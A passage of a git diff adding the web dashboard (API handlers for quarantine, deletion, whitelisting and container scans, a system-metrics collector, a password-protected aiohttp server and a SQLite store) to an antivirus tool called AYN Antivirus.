data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("Quarantine failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_delete_threat(request: web.Request) -> web.Response: + """POST /api/actions/delete-threat — Permanently delete a malicious file. + + Body: ``{"file_path": "/path/to/file", "threat_id": 5}`` + """ + store = request.app["store"] + + try: + body = await request.json() + file_path = body.get("file_path", "").strip() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not file_path: + return _json({"error": "Missing 'file_path'"}, 400) + + def _run() -> dict: + import os + if not os.path.exists(file_path): + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='deleted' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + return {"status": "ok", "message": "File already gone", "file_path": file_path} + + os.remove(file_path) + + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='deleted' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Deleted threat file: {file_path}", "WARNING", "action", + ) + return {"status": "ok", "file_path": file_path} + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Delete failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_whitelist(request: web.Request) -> web.Response: + """POST /api/actions/whitelist — Mark a threat as false positive. + + Body: ``{"threat_id": 5}`` + """ + store = request.app["store"] + + try: + body = await request.json() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not threat_id: + return _json({"error": "Missing 'threat_id'"}, 400) + + def _run() -> dict: + row = store.conn.execute( + "SELECT file_path, threat_name, file_hash FROM threat_log WHERE id=?", + (threat_id,), + ).fetchone() + if not row: + return {"status": "error", "error": "Threat not found"} + + store.conn.execute( + "UPDATE threat_log SET action_taken='whitelisted' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Whitelisted: {row['file_path']} ({row['threat_name']})", + "INFO", "action", + ) + return {"status": "ok", "threat_id": threat_id} + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("Whitelist failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_ai_analyze(request: web.Request) -> web.Response: + """POST /api/actions/ai-analyze — Run AI analysis on a specific threat. + + Body: ``{"threat_id": 5}`` + """ + store = request.app["store"] + try: + body = await request.json() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not threat_id: + return _json({"error": "Missing 'threat_id'"}, 400) + + def _run() -> dict: + row = store.conn.execute( + "SELECT * FROM threat_log WHERE id=?", (threat_id,), + ).fetchone() + if not row: + return {"status": "error", "error": "Threat not found"} + + ai = _get_ai_analyzer(request.app) + if not ai or not ai.available: + return {"status": "error", "error": "AI not configured. Set ANTHROPIC_API_KEY."} + + r = dict(row) + verdict = ai.analyze( + file_path=r["file_path"], + threat_name=r["threat_name"], + threat_type=r["threat_type"], + severity=r["severity"], + detector=r["detector"], + ) + + store.conn.execute( + "UPDATE threat_log SET details=? WHERE id=?", + (f"[AI: {verdict.verdict} {verdict.confidence}%] {verdict.reason}", threat_id), + ) + store.conn.commit() + + store.log_activity( + f"AI analyzed #{threat_id}: {verdict.verdict} — {verdict.reason}", + "INFO", "ai_analyzer", + ) + return { + "status": "ok", + "verdict": verdict.verdict, + "confidence": verdict.confidence, + "reason": verdict.reason, + "recommended_action": verdict.recommended_action, + } + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("AI analysis failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_restore(request: web.Request) -> web.Response: + """POST /api/actions/restore — Restore a quarantined file. + + Body: ``{"file_path": "/original/path", "threat_id": 5}`` + """ + store = request.app["store"] + vault = request.app.get("vault") + if not vault: + return _json({"status": "error", "error": "Vault not available"}, 500) + + try: + body = await request.json() + file_path = body.get("file_path", "").strip() + threat_id = body.get("threat_id") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not file_path: + return _json({"error": "Missing 'file_path'"}, 400) + + def _run() -> dict: + items = vault.list_quarantined() + qid = None + for item in items: + if item.get("original_path") == file_path: + qid = item.get("id") + break + if not qid: + return {"status": "error", "error": f"No quarantine entry for {file_path}"} + + vault.restore_file(qid) + + if threat_id: + store.conn.execute( + "UPDATE threat_log SET action_taken='restored' WHERE id=?", + (threat_id,), + ) + store.conn.commit() + + store.log_activity( + f"Restored from quarantine: {file_path}", "WARNING", "quarantine", + ) + return {"status": "ok", "file_path": file_path} + + try: + data = await asyncio.to_thread(_run) + return _json(data, 200 if data.get("status") == "ok" else 400) + except Exception as exc: + logger.error("Restore failed: %s", exc) + return _json({"status": "error", "error": str(exc)}, 500) + + +# ------------------------------------------------------------------ +# Container endpoints +# ------------------------------------------------------------------ + +async def handle_containers(request: web.Request) -> web.Response: + """GET /api/containers - List all containers across runtimes.""" + + def _get() -> dict: + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + containers = scanner.list_containers( + runtime="all", include_stopped=True, + ) + return { + "containers": [c.to_dict() for c in containers], + "count": len(containers), + "runtimes": scanner.available_runtimes, + } + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_container_scan_results(request: web.Request) -> web.Response: + """GET /api/container-scan - Recent container scan results from store.""" + store = request.app["store"] + + def _get() -> dict: + scans = store.conn.execute( + "SELECT * FROM scan_history " + "WHERE scan_type LIKE 'container%' " + "ORDER BY id DESC LIMIT 10", + ).fetchall() + threats = store.conn.execute( + "SELECT * FROM threat_log WHERE " + "LOWER(threat_type) IN ('miner','misconfiguration','rootkit') " + "OR LOWER(detector) = 'container_scanner' " + "ORDER BY id DESC LIMIT 50", + ).fetchall() + return { + "scans": [dict(r) for r in scans], + "threats": [dict(t) for t in threats], + } + + data = await asyncio.to_thread(_get) + return _json(data) + + +async def handle_action_scan_containers(request: web.Request) -> web.Response: + """POST /api/actions/scan-containers - Scan all containers.""" + store = request.app["store"] + store.log_activity( + "Container scan triggered from dashboard", "INFO", "dashboard", + ) + + def _run() -> dict: + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + result = scanner.scan("all") + + store.record_scan( + scan_type="container-full", + scan_path="all-containers", + files_scanned=result.containers_scanned, + files_skipped=0, + threats_found=len(result.threats), + duration=result.duration_seconds, + status=( + "completed" + if not result.errors + else "completed_with_errors" + ), + ) + + for t in result.threats: + store.record_threat( + file_path=t.file_path or f"container:{t.container_name}", + threat_name=t.threat_name, + threat_type=t.threat_type, + severity=t.severity, + detector="container_scanner", + file_hash="", + action="detected", + details=f"[{t.runtime}] {t.container_name}: {t.details}", + ) + + store.log_activity( + f"Container scan complete: {result.containers_found} found, " + f"{result.containers_scanned} scanned, " + f"{len(result.threats)} threats", + "INFO", + "container_scanner", + ) + return result.to_dict() + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Container scan failed: %s", exc) + store.log_activity( + f"Container scan failed: {exc}", "ERROR", "container_scanner", + ) + return _json({"status": "error", "error": str(exc)}, 500) + + +async def handle_action_scan_single_container( + request: web.Request, +) -> web.Response: + """POST /api/actions/scan-container - Scan a single container. + + Body: ``{"container_id": "abc123"}`` + """ + store = request.app["store"] + + try: + body = await request.json() + container_id = body.get("container_id", "") + except Exception: + return _json({"error": "Invalid JSON body"}, 400) + + if not container_id: + return _json({"error": "Missing 'container_id'"}, 400) + + store.log_activity( + f"Single container scan: {container_id}", "INFO", "dashboard", + ) + + def _run() -> dict: + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + scanner = ContainerScanner() + result = scanner.scan_container(container_id) + + store.record_scan( + scan_type="container-single", + scan_path=container_id, + files_scanned=result.containers_scanned, + files_skipped=0, + threats_found=len(result.threats), + duration=result.duration_seconds, + ) + + for t in result.threats: + store.record_threat( + file_path=t.file_path or f"container:{t.container_name}", + threat_name=t.threat_name, + threat_type=t.threat_type, + severity=t.severity, + detector="container_scanner", + details=f"[{t.runtime}] {t.container_name}: {t.details}", + ) + + return result.to_dict() + + try: + data = await asyncio.to_thread(_run) + return _json(data) + except Exception as exc: + logger.error("Container scan failed for %s: %s", container_id, exc) + return _json({"status": "error", "error": str(exc)}, 500) diff --git a/ayn-antivirus/ayn_antivirus/dashboard/collector.py b/ayn-antivirus/ayn_antivirus/dashboard/collector.py new file mode 100644 index 0000000..eea1da0 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/collector.py @@ -0,0 +1,181 @@ +"""Background metrics collector for the AYN Antivirus dashboard.""" + +from __future__ import annotations + +import asyncio +import logging +import os +import random +from datetime import datetime +from typing import Any, Dict, Optional + +import psutil + +from ayn_antivirus.constants import DASHBOARD_COLLECTOR_INTERVAL + +logger = logging.getLogger("ayn_antivirus.dashboard.collector") + + +class MetricsCollector: + """Periodically sample system metrics and store them in the dashboard DB. + + Parameters + ---------- + store: + A :class:`DashboardStore` instance to write metrics into. + interval: + Seconds between samples. + """ + + def __init__(self, store: Any, interval: int = DASHBOARD_COLLECTOR_INTERVAL) -> None: + self.store = store + self.interval = interval + self._task: Optional[asyncio.Task] = None + self._running = False + + async def start(self) -> None: + """Begin collecting metrics on a background asyncio task.""" + self._running = True + self._task = asyncio.create_task(self._collect_loop()) + logger.info("Metrics collector started (interval=%ds)", self.interval) + + async def stop(self) -> None: + """Cancel the background task and wait for it to finish.""" + self._running = False + if self._task: + self._task.cancel() + try: + await self._task + except asyncio.CancelledError: + pass + logger.info("Metrics collector stopped") + + # ------------------------------------------------------------------ + # Internal loop + # ------------------------------------------------------------------ + + async def _collect_loop(self) -> None: + while self._running: + try: + await asyncio.to_thread(self._sample) + except Exception as exc: + logger.error("Collector error: %s", exc) + await asyncio.sleep(self.interval) + + def _sample(self) -> None: + """Take a single metric snapshot and persist it.""" + cpu = psutil.cpu_percent(interval=1) + mem = psutil.virtual_memory() + + disks = [] + for part in psutil.disk_partitions(all=False): + try: + usage = psutil.disk_usage(part.mountpoint) + disks.append({ + "mount": part.mountpoint, + "device": part.device, + "total": usage.total, + "used": usage.used, + "free": usage.free, + "percent": usage.percent, + }) + except (PermissionError, OSError): + continue + + try: + load = list(os.getloadavg()) + except (OSError, AttributeError): + load = [0.0, 0.0, 0.0] + + try: + net_conns = len(psutil.net_connections(kind="inet")) + except (psutil.AccessDenied, OSError): + net_conns = 0 + + self.store.record_metric( + cpu=cpu, + mem_pct=mem.percent, + mem_used=mem.used, + mem_total=mem.total, + disk_usage=disks, + load_avg=load, + net_conns=net_conns, + ) + + # Periodic cleanup (~1 in 100 samples). + if random.randint(1, 100) == 1: + self.store.cleanup_old_metrics() + + # ------------------------------------------------------------------ + # One-shot snapshot (no storage) + # ------------------------------------------------------------------ + + @staticmethod + def get_snapshot() -> Dict[str, Any]: + """Return a live system snapshot without persisting it.""" + cpu = psutil.cpu_percent(interval=0.1) + cpu_per_core = psutil.cpu_percent(interval=0.1, percpu=True) + cpu_freq = psutil.cpu_freq(percpu=False) + mem = psutil.virtual_memory() + swap = psutil.swap_memory() + + disks = [] + for part in psutil.disk_partitions(all=False): + try: + usage = psutil.disk_usage(part.mountpoint) + disks.append({ + "mount": part.mountpoint, + "device": part.device, + "total": usage.total, + "used": usage.used, + "percent": usage.percent, + }) + except (PermissionError, OSError): + continue + + try: + load = list(os.getloadavg()) + except (OSError, AttributeError): + load = [0.0, 0.0, 0.0] + + try: + net_conns = len(psutil.net_connections(kind="inet")) + except (psutil.AccessDenied, OSError): + net_conns = 0 + + # Top processes by CPU + top_procs = [] + try: + for p in sorted(psutil.process_iter(['pid', 'name', 'cpu_percent', 'memory_percent']), + key=lambda x: x.info.get('cpu_percent', 0) or 0, reverse=True)[:8]: + info = p.info + if (info.get('cpu_percent') or 0) > 0.1: + top_procs.append({ + "pid": info['pid'], + "name": info['name'] or '?', + "cpu": round(info.get('cpu_percent', 0) or 0, 1), + "mem": round(info.get('memory_percent', 0) or 0, 1), + }) + except Exception: + pass + + return { + "cpu_percent": cpu, + "cpu_per_core": cpu_per_core, + "cpu_cores": psutil.cpu_count(logical=True), + "cpu_freq_mhz": round(cpu_freq.current) if cpu_freq else 0, + "mem_percent": mem.percent, + "mem_used": mem.used, + "mem_total": mem.total, + "mem_available": mem.available, + "mem_cached": getattr(mem, 'cached', 0), + "mem_buffers": getattr(mem, 'buffers', 0), + "swap_percent": swap.percent, + "swap_used": swap.used, + "swap_total": swap.total, + "disk_usage": disks, + "load_avg": load, + "net_connections": net_conns, + "top_processes": top_procs, + "timestamp": datetime.utcnow().isoformat(), + } diff --git a/ayn-antivirus/ayn_antivirus/dashboard/server.py b/ayn-antivirus/ayn_antivirus/dashboard/server.py new file mode 100644 index 0000000..9aa33cb --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/server.py @@ -0,0 +1,427 @@ +"""AYN Antivirus Dashboard — Web Server with Password Auth. + +Lightweight aiohttp server that serves the dashboard SPA and REST API. +Non-localhost access requires username/password authentication via a +session cookie obtained through ``POST /login``. +""" + +from __future__ import annotations + +import logging +import secrets +import time +from typing import Dict, Optional +from urllib.parse import urlparse + +from aiohttp import web + +from ayn_antivirus.config import Config +from ayn_antivirus.constants import QUARANTINE_ENCRYPTION_KEY_FILE +from ayn_antivirus.dashboard.api import setup_routes +from ayn_antivirus.dashboard.collector import MetricsCollector +from ayn_antivirus.dashboard.store import DashboardStore +from ayn_antivirus.dashboard.templates import get_dashboard_html + +logger = logging.getLogger("ayn_antivirus.dashboard.server") + + +# ------------------------------------------------------------------ +# JSON error handler — prevent aiohttp returning HTML on /api/* routes +# ------------------------------------------------------------------ + +@web.middleware +async def json_error_middleware( + request: web.Request, + handler, +) -> web.StreamResponse: + """Catch unhandled exceptions and return JSON for API routes. + + Without this, aiohttp's default error handler returns HTML error + pages, which break frontend ``fetch().json()`` calls. + """ + try: + return await handler(request) + except web.HTTPException as exc: + if request.path.startswith("/api/"): + return web.json_response( + {"error": exc.reason or "Request failed"}, + status=exc.status, + ) + raise + except Exception as exc: + logger.exception("Unhandled error on %s %s", request.method, request.path) + if request.path.startswith("/api/"): + return web.json_response( + {"error": f"Internal server error: {exc}"}, + status=500, + ) + return web.Response( + text="

500 Internal Server Error

", + status=500, + content_type="text/html", + ) + +# ------------------------------------------------------------------ +# Rate limiting state +# ------------------------------------------------------------------ + +_action_timestamps: Dict[str, float] = {} +_RATE_LIMIT_SECONDS = 10 + + +# ------------------------------------------------------------------ +# Authentication middleware +# ------------------------------------------------------------------ + + +@web.middleware +async def auth_middleware( + request: web.Request, + handler, +) -> web.StreamResponse: + """Authenticate all requests. + + * ``/login`` and ``/favicon.ico`` are always allowed. + * All other routes require a valid session cookie. + * Unauthenticated HTML routes serve the login page. + * Unauthenticated ``/api/*`` returns 401. + * POST ``/api/actions/*`` enforces CSRF and rate limiting. + """ + # Login route is always open. + if request.path in ("/login", "/favicon.ico"): + return await handler(request) + + # All requests require auth (no localhost bypass — behind reverse proxy). + # Check session cookie. + session_token = request.app.get("_session_token", "") + cookie = request.cookies.get("ayn_session", "") + authenticated = ( + cookie + and session_token + and secrets.compare_digest(cookie, session_token) + ) + + if not authenticated: + if request.path.startswith("/api/"): + return web.json_response( + {"error": "Unauthorized. Please login."}, status=401, + ) + # Serve login page for HTML routes. + return web.Response( + text=request.app["_login_html"], content_type="text/html", + ) + + # CSRF + rate-limiting for POST action endpoints. + if request.method == "POST" and request.path.startswith("/api/actions/"): + origin = request.headers.get("Origin", "") + if origin: + parsed = urlparse(origin) + origin_host = parsed.hostname or "" + host = request.headers.get("Host", "") + expected = host.split(":")[0] if host else "" + allowed = {expected, "localhost", "127.0.0.1", "::1"} + allowed.discard("") + if origin_host not in allowed: + return web.json_response( + {"error": "CSRF: Origin mismatch"}, status=403, + ) + + now = time.time() + last = _action_timestamps.get(request.path, 0) + if now - last < _RATE_LIMIT_SECONDS: + return web.json_response( + {"error": "Rate limited. Try again in a few seconds."}, + status=429, + ) + _action_timestamps[request.path] = now + + return await handler(request) + + +# ------------------------------------------------------------------ +# Dashboard server +# ------------------------------------------------------------------ + + +class DashboardServer: + """AYN Antivirus dashboard with username/password authentication.""" + + def __init__(self, config: Optional[Config] = None) -> None: + self.config = config or Config() + self.store = DashboardStore(self.config.dashboard_db_path) + self.collector = MetricsCollector(self.store) + self.app = web.Application(middlewares=[json_error_middleware, auth_middleware]) + self._session_token: str = secrets.token_urlsafe(32) + self._runner: Optional[web.AppRunner] = None + self._site: Optional[web.TCPSite] = None + self._setup() + + # ------------------------------------------------------------------ + # Setup + # ------------------------------------------------------------------ + + def _setup(self) -> None: + """Configure the aiohttp application.""" + self.app["_session_token"] = self._session_token + self.app["_login_html"] = self._build_login_page() + + self.app["store"] = self.store + self.app["collector"] = self.collector + self.app["config"] = self.config + + # Quarantine vault (best-effort). + try: + from ayn_antivirus.quarantine.vault import QuarantineVault + + self.app["vault"] = QuarantineVault( + quarantine_dir=self.config.quarantine_path, + key_file_path=QUARANTINE_ENCRYPTION_KEY_FILE, + ) + except Exception as exc: + logger.warning("Quarantine vault not available: %s", exc) + + # API routes (``/api/*``). + setup_routes(self.app) + + # HTML routes. + self.app.router.add_get("/", self._serve_dashboard) + self.app.router.add_get("/dashboard", self._serve_dashboard) + self.app.router.add_get("/login", self._serve_login) + self.app.router.add_post("/login", self._handle_login) + + # Lifecycle hooks. + self.app.on_startup.append(self._on_startup) + self.app.on_shutdown.append(self._on_shutdown) + + # ------------------------------------------------------------------ + # Request handlers + # ------------------------------------------------------------------ + + async def _serve_login(self, request: web.Request) -> web.Response: + """``GET /login`` — render the login page.""" + return web.Response( + text=self.app["_login_html"], content_type="text/html", + ) + + async def _serve_dashboard(self, request: web.Request) -> web.Response: + """``GET /`` or ``GET /dashboard`` — render the SPA. + + The middleware already enforces auth for non-localhost, so if we + reach here the client is authenticated (or local). + """ + html = get_dashboard_html() + return web.Response(text=html, content_type="text/html") + + async def _handle_login(self, request: web.Request) -> web.Response: + """``POST /login`` — validate username/password, set session cookie.""" + try: + body = await request.json() + username = body.get("username", "").strip() + password = body.get("password", "").strip() + except Exception: + return web.json_response({"error": "Invalid request"}, status=400) + + if not username or not password: + return web.json_response( + {"error": "Username and password required"}, status=400, + ) + + valid_user = secrets.compare_digest( + username, self.config.dashboard_username, + ) + valid_pass = secrets.compare_digest( + password, self.config.dashboard_password, + ) + + if not (valid_user and valid_pass): + self.store.log_activity( + f"Failed login attempt from {request.remote}: user={username}", + "WARNING", + "auth", + ) + return web.json_response( + {"error": "Invalid username or password"}, status=401, + ) + + self.store.log_activity( + f"Successful login from {request.remote}: user={username}", + "INFO", + "auth", + ) + response = web.json_response( + {"status": "ok", "message": "Welcome to AYN Antivirus"}, + ) + response.set_cookie( + "ayn_session", + self._session_token, + httponly=True, + max_age=86400, + samesite="Strict", + ) + return response + + # ------------------------------------------------------------------ + # Login page + # ------------------------------------------------------------------ + + @staticmethod + def _build_login_page() -> str: + """Return a polished HTML login form with username + password fields.""" + return ''' + + + +AYN Antivirus \u2014 Login + + + + +''' + + # ------------------------------------------------------------------ + # Lifecycle hooks + # ------------------------------------------------------------------ + + async def _on_startup(self, app: web.Application) -> None: + await self.collector.start() + self.store.log_activity("Dashboard server started", "INFO", "server") + logger.info( + "Dashboard on http://%s:%d", + self.config.dashboard_host, + self.config.dashboard_port, + ) + + async def _on_shutdown(self, app: web.Application) -> None: + await self.collector.stop() + self.store.log_activity("Dashboard server stopped", "INFO", "server") + self.store.close() + + # ------------------------------------------------------------------ + # Blocking run + # ------------------------------------------------------------------ + + def run(self) -> None: + """Run the dashboard server (blocking).""" + host = self.config.dashboard_host + port = self.config.dashboard_port + print(f"\n \U0001f6e1\ufe0f AYN Antivirus Dashboard") + print(f" \U0001f310 http://{host}:{port}") + print(f" \U0001f464 Username: {self.config.dashboard_username}") + print(f" \U0001f511 Password: {self.config.dashboard_password}") + print(f" Press Ctrl+C to stop\n") + web.run_app(self.app, host=host, port=port, print=None) + + # ------------------------------------------------------------------ + # Async start / stop (non-blocking) + # ------------------------------------------------------------------ + + async def start_async(self) -> None: + """Start the server without blocking.""" + self._runner = web.AppRunner(self.app) + await self._runner.setup() + self._site = web.TCPSite( + self._runner, + self.config.dashboard_host, + self.config.dashboard_port, + ) + await self._site.start() + self.store.log_activity( + "Dashboard server started (async)", "INFO", "server", + ) + + async def stop_async(self) -> None: + """Stop a server previously started with :meth:`start_async`.""" + if self._site: + await self._site.stop() + if self._runner: + await self._runner.cleanup() + await self.collector.stop() + self.store.close() + + +# ------------------------------------------------------------------ +# Convenience entry point +# ------------------------------------------------------------------ + + +def run_dashboard(config: Optional[Config] = None) -> None: + """Create a :class:`DashboardServer` and run it (blocking).""" + DashboardServer(config).run() diff --git a/ayn-antivirus/ayn_antivirus/dashboard/store.py b/ayn-antivirus/ayn_antivirus/dashboard/store.py new file mode 100644 index 0000000..1448c86 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/dashboard/store.py @@ -0,0 +1,386 @@ +"""Persistent storage for dashboard metrics, threat logs, and scan history.""" + +from __future__ import annotations + +import json +import os +import sqlite3 +import threading +from datetime import datetime, timedelta +from typing import Any, Dict, List, Optional + +from ayn_antivirus.constants import ( + DASHBOARD_MAX_THREATS_DISPLAY, + DASHBOARD_METRIC_RETENTION_HOURS, + DASHBOARD_SCAN_HISTORY_DAYS, + DEFAULT_DASHBOARD_DB_PATH, +) + + +class DashboardStore: + """SQLite-backed store for all dashboard data. + + Parameters + ---------- + db_path: + Path to the SQLite database file. Created automatically if it + does not exist. + """ + + def __init__(self, db_path: str = DEFAULT_DASHBOARD_DB_PATH) -> None: + os.makedirs(os.path.dirname(db_path) or ".", exist_ok=True) + self.db_path = db_path + self._lock = threading.RLock() + self.conn = sqlite3.connect(db_path, check_same_thread=False) + self.conn.row_factory = sqlite3.Row + self.conn.execute("PRAGMA journal_mode=WAL") + self.conn.execute("PRAGMA synchronous=NORMAL") + self._create_tables() + + # ------------------------------------------------------------------ + # Schema + # ------------------------------------------------------------------ + + def _create_tables(self) -> None: + self.conn.executescript(""" + CREATE TABLE IF NOT EXISTS metrics ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + cpu_percent REAL DEFAULT 0, + mem_percent REAL DEFAULT 0, + mem_used INTEGER DEFAULT 0, + mem_total INTEGER DEFAULT 0, + disk_usage_json TEXT DEFAULT '[]', + load_avg_json TEXT DEFAULT '[]', + net_connections INTEGER DEFAULT 0 + ); + CREATE TABLE IF NOT EXISTS threat_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + file_path TEXT, + threat_name TEXT NOT NULL, + threat_type TEXT NOT NULL, + severity TEXT NOT NULL, + detector TEXT, + file_hash TEXT, + action_taken TEXT DEFAULT 'detected', + details TEXT + ); + CREATE TABLE IF NOT EXISTS scan_history ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + scan_type TEXT NOT NULL, + scan_path TEXT, + files_scanned INTEGER DEFAULT 0, + files_skipped INTEGER DEFAULT 0, + threats_found INTEGER DEFAULT 0, + duration_seconds REAL DEFAULT 0, + status TEXT DEFAULT 'completed' + ); + CREATE TABLE IF NOT EXISTS signature_updates ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + feed_name TEXT NOT NULL, + hashes_added INTEGER DEFAULT 0, + ips_added INTEGER DEFAULT 0, + domains_added INTEGER DEFAULT 0, + urls_added INTEGER DEFAULT 0, + status TEXT DEFAULT 'success', + details TEXT + ); + CREATE TABLE IF NOT EXISTS activity_log ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL DEFAULT (datetime('now')), + level TEXT NOT NULL DEFAULT 'INFO', + source TEXT, + message TEXT NOT NULL + ); + CREATE INDEX IF NOT EXISTS idx_metrics_ts ON metrics(timestamp); + CREATE INDEX IF NOT EXISTS idx_threats_ts ON threat_log(timestamp); + CREATE INDEX IF NOT EXISTS idx_threats_severity ON threat_log(severity); + CREATE INDEX IF NOT EXISTS idx_scans_ts ON scan_history(timestamp); + CREATE INDEX IF NOT EXISTS idx_sigs_ts ON signature_updates(timestamp); + CREATE INDEX IF NOT EXISTS idx_activity_ts ON activity_log(timestamp); + """) + self.conn.commit() + + # ------------------------------------------------------------------ + # Metrics + # ------------------------------------------------------------------ + + def record_metric( + self, + cpu: float, + mem_pct: float, + mem_used: int, + mem_total: int, + disk_usage: list, + load_avg: list, + net_conns: int, + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO metrics " + "(cpu_percent, mem_percent, mem_used, mem_total, " + "disk_usage_json, load_avg_json, net_connections) " + "VALUES (?,?,?,?,?,?,?)", + (cpu, mem_pct, mem_used, mem_total, + json.dumps(disk_usage), json.dumps(load_avg), net_conns), + ) + self.conn.commit() + + def get_latest_metrics(self) -> Optional[Dict[str, Any]]: + with self._lock: + row = self.conn.execute( + "SELECT * FROM metrics ORDER BY id DESC LIMIT 1" + ).fetchone() + if not row: + return None + d = dict(row) + d["disk_usage"] = json.loads(d.pop("disk_usage_json", "[]")) + d["load_avg"] = json.loads(d.pop("load_avg_json", "[]")) + return d + + def get_metrics_history(self, hours: int = 1) -> List[Dict[str, Any]]: + cutoff = (datetime.utcnow() - timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S") + with self._lock: + rows = self.conn.execute( + "SELECT * FROM metrics WHERE timestamp >= ? ORDER BY timestamp", + (cutoff,), + ).fetchall() + result: List[Dict[str, Any]] = [] + for r in rows: + d = dict(r) + d["disk_usage"] = json.loads(d.pop("disk_usage_json", "[]")) + d["load_avg"] = json.loads(d.pop("load_avg_json", "[]")) + result.append(d) + return result + + # ------------------------------------------------------------------ + # Threats + # ------------------------------------------------------------------ + + def record_threat( + self, + file_path: str, + threat_name: str, + threat_type: str, + severity: str, + detector: str = "", + file_hash: str = "", + action: str = "detected", + details: str = "", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO threat_log " + "(file_path, threat_name, threat_type, severity, " + "detector, file_hash, action_taken, details) " + "VALUES (?,?,?,?,?,?,?,?)", + (file_path, threat_name, threat_type, severity, + detector, file_hash, action, details), + ) + self.conn.commit() + + def get_recent_threats( + self, limit: int = DASHBOARD_MAX_THREATS_DISPLAY, + ) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM threat_log ORDER BY id DESC LIMIT ?", (limit,) + ).fetchall() + return [dict(r) for r in rows] + + def get_threat_stats(self) -> Dict[str, Any]: + with self._lock: + total = self.conn.execute( + "SELECT COUNT(*) FROM threat_log" + ).fetchone()[0] + + by_severity: Dict[str, int] = {} + for row in self.conn.execute( + "SELECT severity, COUNT(*) as cnt FROM threat_log GROUP BY severity" + ): + by_severity[row[0]] = row[1] + + cutoff_24h = (datetime.utcnow() - timedelta(hours=24)).strftime("%Y-%m-%d %H:%M:%S") + cutoff_7d = (datetime.utcnow() - timedelta(days=7)).strftime("%Y-%m-%d %H:%M:%S") + + last_24h = self.conn.execute( + "SELECT COUNT(*) FROM threat_log WHERE timestamp >= ?", + (cutoff_24h,), + ).fetchone()[0] + last_7d = self.conn.execute( + "SELECT COUNT(*) FROM threat_log WHERE timestamp >= ?", + (cutoff_7d,), + ).fetchone()[0] + + return { + "total": total, + "by_severity": by_severity, + "last_24h": last_24h, + "last_7d": last_7d, + } + + # ------------------------------------------------------------------ + # Scans + # ------------------------------------------------------------------ + + def record_scan( + self, + scan_type: str, + scan_path: str, + files_scanned: int, + files_skipped: int, + threats_found: int, + duration: float, + status: str = "completed", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO scan_history " + "(scan_type, scan_path, files_scanned, files_skipped, " + "threats_found, duration_seconds, status) " + "VALUES (?,?,?,?,?,?,?)", + (scan_type, scan_path, files_scanned, files_skipped, + threats_found, duration, status), + ) + self.conn.commit() + + def get_recent_scans(self, limit: int = 30) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM scan_history ORDER BY id DESC LIMIT ?", (limit,) + ).fetchall() + return [dict(r) for r in rows] + + def get_scan_chart_data( + self, days: int = DASHBOARD_SCAN_HISTORY_DAYS, + ) -> List[Dict[str, Any]]: + cutoff = (datetime.utcnow() - timedelta(days=days)).strftime("%Y-%m-%d %H:%M:%S") + with self._lock: + rows = self.conn.execute( + "SELECT DATE(timestamp) as day, " + "COUNT(*) as scans, " + "SUM(threats_found) as threats, " + "SUM(files_scanned) as files " + "FROM scan_history WHERE timestamp >= ? " + "GROUP BY DATE(timestamp) ORDER BY day", + (cutoff,), + ).fetchall() + return [dict(r) for r in rows] + + # ------------------------------------------------------------------ + # Signature Updates + # ------------------------------------------------------------------ + + def record_sig_update( + self, + feed_name: str, + hashes: int = 0, + ips: int = 0, + domains: int = 0, + urls: int = 0, + status: str = "success", + details: str = "", + ) -> None: + with self._lock: + self.conn.execute( + "INSERT INTO signature_updates " + "(feed_name, hashes_added, ips_added, domains_added, " + "urls_added, status, details) " + "VALUES (?,?,?,?,?,?,?)", + (feed_name, hashes, ips, domains, urls, status, details), + ) + self.conn.commit() + + def get_recent_sig_updates(self, limit: int = 20) -> List[Dict[str, Any]]: + with self._lock: + rows = self.conn.execute( + "SELECT * FROM signature_updates ORDER BY id DESC LIMIT ?", + (limit,), + ).fetchall() + return [dict(r) for r in rows] + + def get_sig_stats(self) -> Dict[str, Any]: + 